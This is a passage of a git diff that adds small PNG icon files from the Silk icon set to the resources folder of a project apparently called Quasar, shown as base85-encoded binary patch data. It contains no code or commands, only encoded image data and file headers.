zsR>k_stj1H2h_AgX+YF5TH#m%V^&Vp0x+fl@M)z~j$m*Jv?7oSAwrZ(QKF$u*tP{m zthQiG!$Q<-Z$2x93SWCz>;N z@|O=~WGn`>v{S8}AU&TvrXK^HBjlLS_A2{fi z9kE7URXC0c#|c`x8VSriV9%*u{Le%1vY)0{oXs5_c45r)I=(B4=z47DhP@!fFO>QH z0C=0v;craC(Thvo`;ypNY<5D9c=%{=VqZ;}9mcGE1D(-CbLGP`EAr$5!D5yQP@1<< zHq*lVt!kNGcenM0nj_az3F$c2B&EFMYtB~ns=5AO0D$4{_RHnM^m$u}4rQAu1Gf)n a7BV67Uig7b0z_wp2kkRjeX{OGU(8H$_BnrJxI2 zYgf8Z1aYIHLaSgAOBf`OQi|_q z1L^n?A4@G9O#>X0iwC~zJ`7+;C3bJy(9+;Iju1lU|Kv%CqmXNNU;Y5h0cL$^+qNTq zyZ;7{DN16HOnRJzStL@D{B(k6FI}qC3Jg*l-I*blLd-*rAOcO((F6qA7@7KUY-@y~ zUm}Vl4BMu?WeM5gYHF=|q+ICA0FZ#D34AqyWxkIeO+9pNK>MVS5NOzoBR(E$7F1q?VDFq+r9-q zcNwcnFw!?b=mk?=WoG?52ZK`wiKQf#k}v!TdRp2LW|5}OF5IPG7i_ZcJ}<$N=fj|Qmw<{WlS3PTs~E*h30u3Wu0+!MsALn%mSe|2{r`kBGYM;ZG4 zA$DsgUOp#BS`W{b9~5FkFJNk1ng@Oy8aBjAUQTxD9n1zdX_3 z|EYp~1lYByuF~C}HrA}jpiKW^Wqe}awv&Gif3Bf#0dDv^qSF@P-T(jq07*qoM6N<$ Ef^;Qtp#T5? literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/picture_empty.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/picture_empty.png new file mode 100755 index 0000000000000000000000000000000000000000..abd2b9bb48252338e831bb54f2fd76037b1bdeef GIT binary patch literal 463 zcmV;=0WkiFP)h0wrhpX|Hs7;Pt55ta+?_WPZ?E%ty zcl7GX<6#&ib$G%g0Kx`)KASRL^ZnUGrx zCTlifW8bF0Zh;X~MQ7g4Lm|_~ykU(Cppw z+zc^}2l`HK1P^+B{r2nc%R}+A|9PB!2fN@?ZS6gu^9@CduRn)+FfsrD002ovPDHLk FV1m%L!2$pP literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/picture_error.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/picture_error.png new file mode 100755 index 0000000000000000000000000000000000000000..d41d90d64fd3d6b4416c2b85c589d032bdc71c9e GIT binary patch literal 755 zcmVVGzfE-|p@0ZqAsP=fxPqDMk&P@d+L_YNLgS5CkC>7CvglMzFFJY-|-o!A5+b z=|ybBs38g>N;Dc&G%;Qt=I(ay+Zl`CBSswQ z#|XVCtO{SJL!J-UQKM@~(a6dDITA7E2Q(F1a2yxMK7N0B1$U6)?#%Q-}jk~LK;H{Mdu0g3t$Xtg(#^~ zu@U8JL@bs>08>RJA>|lU=d0=fsLlZbnwgo+pm;=*5ZMG{(zH}uj;$IcG}-TwUrmvQuWfY-v(a0A7mBKGMB480{k`Gwrd zoh)wKz%qS+oqoMgL{)e>ag;=aM1-zroI*z@>Vi`fQ`=NeGJS_->-rcUzJ_7%FMz6I zfZcP(0>I5rQkwlj=KWo=`2$cHWZ>#;wjMdfyU_f0 zDIw7asE~YnL~i>D+Nb-2f%Ao004MOw6jG(9bt^sD0_(B`@-3UG8+}Oq^7TmR87gHq z^{z(Zj|9OhI=go`Hj0k}n2Wat&x)EtoM`^XiQA(4=`EcSX1hX?Zv&{tJh}0LO}%R| zZXJZXczp5nn2PK$e;NZ|;C$hIzVB+g>%2v6@sAZ9+;BCYpAYe>|IGE&-@eX9aWHtH lx2&S5$Zx4XDmBR~*Li@40hl?wvRqnZ(Ao1QJ1rZCaJSDB{Laap9suT~%lorMMMz>qEQ4lo5g<`B}Oj2V=n8e9sGWVQ&&hO_UijFU(&+eSXhr@Fo^Xu=UKZ=+y zSDmER^Ln)XSd1Yp^2;}$?>z+&i<%Qh5A<$I)6^JK;J=ay1fO&1%7d?gHDJ|Bk|e1) ze|3qB8Vxf}f6qMSVjZu-;&Pcg4?5}4L1MZ%eY~F_#ym%3=OKy;L-P9AJKpf3Z(ci39q!_wFi{`Mq{ zJ*0SVfxfPfu_0%B_aJ93?kA`cBW^;RWZPkwP68J7<$6(vG4fo-LD8L1PKVrY<-5I?FU$KEpAQ! zS%3drRE^CW_8Q6?$-E<|Fjf1TTs&TK@{qG^8|>~q$V$E%-IyGy#c9#hk-YPRo_%1< zGfK&Ph7X>e4SjeC1Qj0Fr>RypGdgpPYZD_2&U4uO{M+dFqGrDfI`r}vU#Wf3nK_3O zN9G+nx_7Z};4n9*uQM`neYIg%KAIiYyXMtlye;pYi<%$y9qPDx|Bpvb_;hwy#{vE~ oFmTp1gA_Vi5(egnb@KWBQ*sVbcJX$M%m4rY07*qoM6N<$f(SNMBme*a literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/picture_key.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/picture_key.png new file mode 100755 index 0000000000000000000000000000000000000000..667086c0dac0f81c56a83ec870f5bc6b1c730c58 GIT binary patch literal 794 zcmV+#1LgdQP)i(Bs^(FFyPpKpHC!eKyq78HS+{!sY)gF`!k>wO=0{1y%vg)C55giVMHh zNLZjDD)e>F5_xr$H7qVij6Z6l#lDZEo#S8jp^Xs#LS?4Faa;Ez>{UJmqCY1?^_`0-6PZ0r?kYkldRPFs14}gH z1;XjS=qQg+n7Tt=o5FGD5l)Q1aUPN;FQ-#iigoT)M@4j0#P}ZXJiLe(S&W*&F-zdI zV)Kj#S1QSPWqCw~o~UE;wq4zOL5P1)mZW-%Wa<~X_6%XOpAovjgWD-GO~`X?C#uVb z4qu)emA(`|jgD3KW!etBzT*Ajdf~mHPuy(&G*Y%PK97pH7o`P}~TW4UqW>+Ofv)5*7e-t)=%JInR4ZOz4aWnyCP#5ZRjUR_W3 YH!v??(E);vF8}}l07*qoM6N<$f|C4jrT_o{ literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/picture_link.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/picture_link.png new file mode 100755 index 0000000000000000000000000000000000000000..42dca7440be7b2b2776faab865b7347a8bd14b6e GIT binary patch literal 835 zcmV-J1HAl+P)P(65Slt@yYeSUmI*|#LP@Auh-f!mltQ}@UFj-f zTy`ZC-MO$`2%;Ms5JAvd7tz>ITbyM6k~DRa-s#*s-;awR%^2|P-p#`~=RM-HuYOrF zM!eCEjUOov%l4kG1mES_+pnFz1R#wS3$rhm^1km2ArkzbItH}ra{arzZvy*(c4R!y z^Tp@O59#oLJ#mNO!X_!Vg|dd7-4wsw&C+L2AQ|NH*(}W^J9t9zXs3^6BOu6*ARTe&GtwRexKC3|onqtm zO$IVGgx0v7JjX{D$oK);nE%e=iGw>2&ZCW?8*7fVB+`9_T;Ulu?ypkY`~V{(2DeV} z&F)Edo7+!axbW$fm6esN(prlErcYl&E6w*`|3Lro0p{lB2*Z$#(NTW*Cfe@1shkl9%GZURQtpgZ5UN*>kV+$<-x(zr9LuG@x8AQ?J)q`gn;(qrtI} zlWO7YtgKWj=N;b_Elii^3NP?zJ)*xq3&7=z@6nAF^YimePEIm2GsE=sG;tjB>`P}t zfNVDF$)prte0lTUi?O!lKQ~n}(XRV|c=!Del~PJBE-sQzrvV7V5UmYAeS59-{96mz zYPH%C2Zu2+F>zvSZ0!2f)YQ>Zsbr*-N1DwhYinzGp2yJ85QRbkrPR*)`nt2cyxiyk zjE|2ef*>fT)9D+Rv3n7{sE}ALP-~3!5;ts N002ovPDHLkV1iNgjz|Ci literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/picture_save.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/picture_save.png new file mode 100755 index 0000000000000000000000000000000000000000..777fb5d2e6a8418c573972246582c21d2c4984e4 GIT binary patch literal 755 zcmVe)^Pp+~01yB`w`9=u(Ho~0 z&q0|Zy>{}2gZl=9K}x9u0000cnYNkw{OYaOaSqCHmHYkvAYHn)ZsML%y6Mn?Rm1M4 zCbIimL%-gdGZROY_IT&jL)x4YKv_2wMMsgSixr3VuIl&xwpoodZKLe>9X|MwKbLly z@9mW{08m0kQ6yEY>2=p_>};yqiMnYtv8~_l+pdQ83=1I;07}RxQW8y8wNsO(vNNsJ zxzT2%smQIeNFo9Nln_CYl7W3j+smTUwfx(8yZemmMmgIvlXtBAH}d|cf5_39J9FWB zT>bgZGbKb&6v=F7!JU=6<_61l#uG1|c+xA2v%dWPU+)_++yuBPsf8gS*uy8tE)TNP^?wUn|FBDi_)Ep5))oIO#kS?(pBVA^IE&o0V2 z1UkY@NmW(0wrgcXNO*bi9DvTz4L^KUm{e2mUH(gvXxc2dSs)?^X1ZCKKmdStIIqc} zY8#!Ri;%QZN+O4dtZAm|x={|gX;Yrg9Xs$WDG3lp>Fmkfnp~qGh?EV=o(rGc zc5iE2*(=lK&%R!Iu5ROK1ORQ0xsI-E$A>rGws+=HNnvgLk2jzGKw)59)ygxcj-Lkr zfNySo7mq#2f!UFlj-4>yTcBWLvS9zN#!QbgB`G2R0KijcuYCLXBg5zC`|}3n1DZUQ la+ac%)7bB~m#l70{SP&gLHlD?H{SpN002ovPDHLkV1hOfWCQ>J literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/pictures.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/pictures.png new file mode 100755 index 0000000000000000000000000000000000000000..d9591c13f67cac8e13632e1c841f7debd1417a5e GIT binary patch literal 704 zcmV;x0zdtUP)W^i!ifsTc(=K1_V3&M#zHR|lg@#Gff=58Uzib9<$t0J;KqX&BUR5k)rz$& zB8cFtCF~4|SkfeZK0aC--xN^wy;E1t?BD8nzWmkmJ4KipCa34l0-FPtBg&rV%afN2 zgWsE9wzM;K6tG3NTXA}ea>>OQv13!S3uzM9$46_o*8xQ6&4HCL+j_Bfpv&{BC`w^1 zF1}kXxg=@s7HD;HdhR^19-zvqDt;>}q`SxG>C8uWsk!U~u^=L-t>B2@I?m3_$iUdt zY>+1Lqw&$&NLPoX3PquAW?h1I?p!{72+!;L*RlW-rlx;#dhQbN8zA&r3m}CfJ#G*x zp4Z31*EX*k*Xge=5oLx?i`zNA>kdcv??%LxH4CUBC|U7?JP#?Xk^{N5`2He2rEOSJ zY`MX=R)kfHh*sAC4)&WC*-o##!|g6raU2I#Scx)PNkXBkgeIjKCA3IE1y$N>fGA2{ zOw{KO8Y@F-YA9^{3y@eEU-x1w?+8sq(AvYkfy%}^xOc5~AK>QHtKmwQ-3^sNYaxgW zh6lzt+!*2ghff42?~;M1%klU_Pbed##urN^|F-V0xcta@9p{e8iX_XWE?7H)lCxBFxLzK^X( zK6M=W)Oq;R#N(eQo%lTI_405VC&|ZJ&9~pk_^YLdJ8Z=VAxhU^O7X% z1I9ViTRM}LsI=V7XW7pGlbP?pyvJtq{zxx4Jt4F~XH!-}??LnEhFM;g*UodB_n2-w Td)+SzXdQ#6tDnm{r-UW|WEiNA literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/pill.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/pill.png new file mode 100755 index 0000000000000000000000000000000000000000..f2bdef6be8a783eb7903f2369b7d868a14b58194 GIT binary patch literal 719 zcmV;=0xJ@95jSE5A%ge_ins}gi!8E`O6kJ1h=>~tC15ut zhN?)5E3L|iZFJF=*g_=_^DuEHTaU-1<9YtxodHgl>v@>xAxV-FEX%^_baD=dL!A@w?eOp=8xA9r z$snChBauiTl}aHRje-D@{otVRRsdtSzw(Ddia41}D%C|%#M#-I0`hph__Dum`X_*4 z7_*xaWU-tqSCqx%U9ljCczzCMZ!dBK;IUe#x$SLaNDz<55s5?;ahR-}o}MBQ2*68l z`F>+(2iE}Msj2D2$_lc(ySSL0MT}t}2m&~cLx}9q6mWcetN>{;SX*CrT>(6Ug9d4F z5m};M%*-G$F@fJ>V-S{>KqG|D=L3xpCnS{LVPkU>?`*b81z@kLQhCS6k)_L&*^D@y zW22*p_V+{V=|O024sN$wXh+oA&=3Ry#HoX*MuT4s4fs@Dt;@Mg^Ccw@tmWk&jv5;!R-?J}*4AEruB^=3 z)as{q-o_UN1^M%Zh1xg8#irLqMY?&F>VB?m{R_n_>>p`!{|5j7002ovPDHLkV1lz) BL~;NC literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/pill_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/pill_add.png new file mode 100755 index 0000000000000000000000000000000000000000..ac9c2df6a48474857daa68528728f6071bd49373 GIT binary patch literal 797 zcmV+&1LFLNP)wFU>XvLNg!qz8X`KdHL8Ic>|z&@MT9el%^8`LU|occ zQlgXyos)^Rc@rpRGB@Yu=Fa9hZpXGU$AAQ%iH91g?p_k#dfDp*h|kV24A$4zd63m+!+VoS@kfBc zU{G2}04L^xxs05c^v<`y8MCng!}PT8H-L3uppDY&5ha2^AON4w$BR9rm9@1sI2;bx z2%PheO-|w$fTy*!EjToU*whrZIyw!Dp!y^xz=K3bC@X02SsM6E}IlSWeC{yIhXw@Gt^0 z88#am;j66$Q&|abSsAF}VraXr;m+_SyjkeQ9Hm3|L=)<|kK<(XA+_LnX6BJak}cBL z2UaYGuciicMFqU2rJ#z6Kofwp{R~Dv-p9z|18#6o>#v|&FXI4Pf}YgWxYv1k^Nd{n zC8SV*E-#0tqy%n}2s8n(g@riRD#Y7`e(Zim=X*K8w+-~9r5!YhL{3I5j)ocM|S@AF_salheuz%+t304scaAki# bRh<7TqW0OL4=7q900000NkvXXu0mjf`H^eH literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/pill_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/pill_delete.png new file mode 100755 index 0000000000000000000000000000000000000000..c61592e8d841d675a9848ab253c125f874e5eba9 GIT binary patch literal 805 zcmV+=1KRwFP)|3VJFEMEiM8|CV`op1c*cqh-v z-FmRM7mTGPK$#3!q+J#%oJot<(E(ad4;1HLLjK((XsHAs2fxdp(&LM>=n*e-T*FCG z1Wby9QmL|#La61YrwMc!FrS9DYd66WIt|*#S?SaJ$XKLHP}pCZR?@OruyQ#tNp9t( zC}0swpX!hG8ECq21)PZ}FfaO`^2;k|Y>+t2;6Z+;Q1}*KU*D+n`_EMP{fxS?QNDq| zvLMh7;1W1}A%M%b|IEOMA2^F?w4d_R+S=poO-&z~TUvY-7z=7T4Nf9PdwY;21x)*5 zyXX6ENL9%*|kK`a4V$F#WqLMuJ$OgSWd=Bt jX)rmwMO4o&&7$$&XRoX@!lr5t00000NkvXXu0mjfznpB^ literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/pill_go.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/pill_go.png new file mode 100755 index 0000000000000000000000000000000000000000..e5c07d415dbe960ce2f2b1a031a4f437ca5c7b04 GIT binary patch literal 817 zcmV-11J3-3P);VJK6Bvc5}LQ4dy(CN%{=H9v9nFNf%=)y@(CUfukzjM!j<_e54{Lf?iSHeal zQfU!{>y*-RLddJ^?Ch65pN}5y3x7MoN;rJq8Lu+X~|k26(OnW89+3mFHnL?XfF=jXqVO-y7Md6qv_4vmlZdA;7d1zs;W0K6hN z#HbFt-Ht4`JBN#J8@a~-p-`wN;P-b1d_JVpX%oPE2lv2y9~>MY$K!!UNar!Y>fm5^ z6{Yu1yWM6*LwqPSLen&JotuiZrse$x*zW4;_B$M11vVRKe?RouSyOC?4DpkZcJ#i# zhRhRABt;RaR4RM~SZ!~=nNeEWmBD)^lanBk2!w$FU})%9Wul@u{|q`_G~v_o5>ler zWR7tx7nkeeDyype znT*+`%}v~Di$dXJRCy~hQCWHZS>b%yRm?=jF&uugtrA>`^|8-Kcj0MPR_;lc>-o7r zpwS};ZiO2elO#PVNv&xJ(_(3)jIF7< v{eEcNHZMNv|IbJ-M`( zKwWL~opzjJe^WpCmV9E;(0&ut2;4va_(#>M8)>9$R5viQnf(Nkh~VM$y>J(jqb$cj z+nL1Nm|mV)Gm|9MnHf*7Ja4OEAQz__^LRKOLEwqpiGV^^A*T=#&inGm-62Xs;dnSp zKj&H9T*boh2i)W+(n27l!C)>fq|L%VB1i ziC4p;NwV_}ZjW7$LRW#(_bKF#hp=!IqNO26Z*w2+LEwx{PVnZ&Sn}T;mtzb$;qA*nT@@+ zV5uQ@iXDTPoTbV#FRr~z04|PPh`wXTNoCm9*tG&?e3+fYl>K6+&3|Cc$KOpL`ER+_ dcRl5U#9zn6ZO}GF!C{kgV#7nZ!}+IFwq-SXfjo|dBU;$2A*R+N`fo=|&GUYL?n@~UJ} zRwmI}jPAB8^01Y3C+^Ijd+pCXe>~g?4Jqg4)T#41=X}pOfxGiRR{6W&>CB0&nI=@t zRrSu<^!c5C0)&<(_cUQ7TI*VgHN*l@P5-TfC4f_@-VY11P%L?g;zAJ-8T%U`aCgp( zo^&%s)zGr{_QtkAOc?cV zQv@Ya7h%t}T`nSsD7Oy`1i{aDaBT3P$D8A1r!%M-=8CwXt~6AISyR6jGsiIoM;>tZ z&|vV(9f&CEifGyEVzQcIGxNN8`GVQmBE|UvZp9xX9KCnIMU)jaD^N2^UMg#1ikMNI zccRNH*tm5QYno!*e}0qU>_gJsE$2etD<@XAvnsrb$ z6AdYytGA&+iFC(ifFqRvB@qNA^X?fNqMb~-l0^}rXPZ}>v4 Z=Nr{rY9&UI$M^sM002ovPDHLkV1hoZLv;WE literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/plugin_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/plugin_delete.png new file mode 100755 index 0000000000000000000000000000000000000000..d9c3376d4593e666a148192e2527219c09402b0b GIT binary patch literal 692 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 literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/printer.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/printer.png new file mode 100755 index 0000000000000000000000000000000000000000..a350d1871536eb28fe2949936de1c79c1c26269d GIT binary patch literal 731 zcmV<10wn#3P)^msfbTI z9jQ^EwMRD5xNEm*sJPjH^k)@gXT@kl5ii6#6jNXX`Yb0kVgq(zut?ZfbRr+DS= z>q{33dTpWN$tl6c7nxE)4Qur1GCxuUnp5Y z5HK(>u&W4&EXz<>UtfnPivJ`O3Zb4K8yl-}7K;Uh5XR!-B2uXo6E#Dr&Ck!D<$0b5 zXEK?PNF*3;w;Rc15`MqGDN4rSaGd2kJ3GNmOiaM%^D*ppJL2&;mX?;95{t!PwOY^e z?d|R0=pOKTy$qMj1$rk8qtS@b(NQ*LUtb@(y1JlNtJzsS-`3U!Ze(Pn>hXBkfzr6} z{3Vv(2AlG1;RQN6I#_mYZVs)jt>6p>!_3go(6&ye1Mdo>SRyz&A^1T#%t=UROW6Bf zz^9CeqErU&3`3<-Da~6HQ^UW&yCT)$Cu literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/printer_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/printer_add.png new file mode 100755 index 0000000000000000000000000000000000000000..d228d0580d8af0dea62d44c8fb33851568591286 GIT binary patch literal 782 zcmV+p1M&QcP)z?``cAjK`}OU-rz95{9r*BaIM4Gr-{-(903g`rl=7|Q zY>&q#(t7d)h;*K$NIRJnY9{ifSDk%3Yqu%bRNiu?SJ@=KZ>A87|74X-AsAty99n|( z-hARj^YETs1wxH0v9ZNr=5v;if#(y4@r4vpnH**!S=<;|!byew*{*^rjVs9uW{F_- zOBPd$X*fS}2(N5{PqwnQg)-H6=C1;^T3uA7nc&tpIrzzK{^i`S6lvJzwqOp#u}(%i z-QnOQ5=l{kfHX@9aq?JLBZA;^9v_InM?~Jm3>{-^K0(gXsOWT}uC6XF7K^1+KpM*i z1_t2udU3ADjTjMxqIm=f{;xT_C!@GY3I`b_Mg(VWy5Vp*AeYNgUS3|t3w&fD8jV7! zRQ?xyt<&j5b#?UuFW|D-EO@4;r@^x9KXJKS*sgDFZOsc*Dit`6qnJ!4gu`Jf`jaQG z`ylT>kBfIiU~X69sr4ZkhJm2Hy&b_|kYX?x5DJB0x7!PNVC;t4#9%m}$GeCXy*3$Y zdXJ#A<}d_pZEdjGY!sbNhd>|zi^WoaL{ou5|6L5u-3Pz4qmAety@ZmceGrg2U^bg6 zdc7XxO(+V50xc~qG^X%cF-8K9v2zXi^eAcG3xP}~%NdPED&QMmynKbRHxmUMzj6RQ z)(hyeN@#PJMM4uCZ6X4xRQjmCzTQ_`TMI_-Mk2{!b%VnK>(>B<`N@M8)qp=c#EPlOx(m^7ZttmyEx}O|KIyO@5`Y8P&=Gak4UOI z9A;ssgC#(yb0mbF7m2Kp5(`OOSQV z#ZO&(x9_ilO06xv9b+)LoFSy)_{?B*K8a*Hi^)I+ci%6eOlj%)tDr(_OK^fIBAEJ; z!Ng(;^a2C_Y7|^&tD7+hG^6Q13R+uR3oEo^%vO}a4B2gFCHu3B6wI?R7(Eeekn#D93#ZJ1gl2JlLaG}i(tJMm*T#oYcaselBlZ9X~2(?=M zUvRZFO{2QHdY%(7nM?*8PNx&$aQL6tY&PuFH#Ie}lt!Zg!!SI3eSPrz{k-UR9C{V# z%f~QSR)Asg5qx^y2B}mEN~Kc4>-F*&3 zz9|c^P`3wzRrze&$pas9{spPtk*$9`fqKI)>UhS{rM!uL;bHz3OoF`S0YRRM%X|m5 W5Be1eiT(`$000001{r$78XkvMLD8LgLPI}p^3#ZkL-WmU{TI1 wPFcbdW00`FlWkSj%Pe9r%we8QTmJp#H==T7N?a3H(*OVf07*qoM6N<$g8eR!YybcN literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/printer_error.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/printer_error.png new file mode 100755 index 0000000000000000000000000000000000000000..279ebb0e53aa400ce0d56ef55306f5dfb96d18a0 GIT binary patch literal 854 zcmV-c1F8IpP)}sFDxRh;iJ`Kl6P99uC8=RvRI)}HkrHImRbEuyMi<_M7fBaobX62} zlPf9eDk#N5YwAseOmSEsTF>{Vk~BJwPOZ97&_0w~^#(52_;@cTLqJi(-d-dO zvy0z<;;>|=arHNxEKc`4{&eb zea1EMtc>>BMVM;ZG48&F`h*Eq>ovGsE(8LBhpK?hZntZPolYlgHd}_kX5cNYLp5^E zb*L&CL8-M3MMXs#hKGkMI7yNO3hl7p@7Fd$q0m-=#1ITC?@)2H6H??2O!iKMCSF5K zp9Di#tgo*#L=;6VEG%eHiL^k7MxzuPw1YmPxausBn8w$q&yk%MM^@5@dC$l$hfAl^ zSX^AxJjP-%sDi0f3c9o(1x6k@`7!F<2eqP7^c%`s`Y`+95u%n{1cSjX0hOQ*y{O+Zbdy2gRyjvQ3h zv>+=d1Vs$f{$w%r%1ckkkP}{*4p=~bjiEG00qbx$%4TP0g_)U|lFjNa+_=z$wTS^( zny!P;mSp(-Ao?nl)g99;BUFMjTA|CfAU{0%J>xZA8Jd(h+FBPk`oK!`CCkb-<{9 literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/rainbow.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/rainbow.png new file mode 100755 index 0000000000000000000000000000000000000000..36feb6aa65f6ccff3b12fa1b9420430b9fc4e0e3 GIT binary patch literal 580 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!63?wyl`GXl47^MPyLR|m<|LKbA<>J=lG}HsY`4yuu{>+$@`8!`YxX!cEZ)97h=9$iTidf;oFVG@8t~N4+eif5&oms^v4#jA3J@2?DG3r z&G2)g+0UuwKbJcET<-Yu(X^k>X8xLL{%gAV@9njJ_S8K~(AfnHETNJhzhDNpn3U;r zS06t4=;f<#KYsrD`>*L%paoF&xTlL_h=e5T!P9w%3(&4N zLPA;Qy$b6mm7f=6VEC}=UMB;?ikq%;U$ZjAtZBMA?HoU=!V#_MpAtMo7`(5G*rm+7 z{>Qy>!oEu@W7>`?E_(3DbnnrBPv2+DXSGHw4gNEGTeNZR@z{$xkvIMC=Wd^o74T+r zMSNWJ?<*lEx~h!zoA;N_N_~9e%qnr~GpF}P2AN&C+ZTK{r|fmg(TMHV7Vm|$|1L8s uV|aBZvWU|?cDAg;()uIuE59G$IbbiK>s|M?r!*GmB?eDdKbLh*2~7YQ;Tv}V literal 0 HcmV?d00001 diff --git 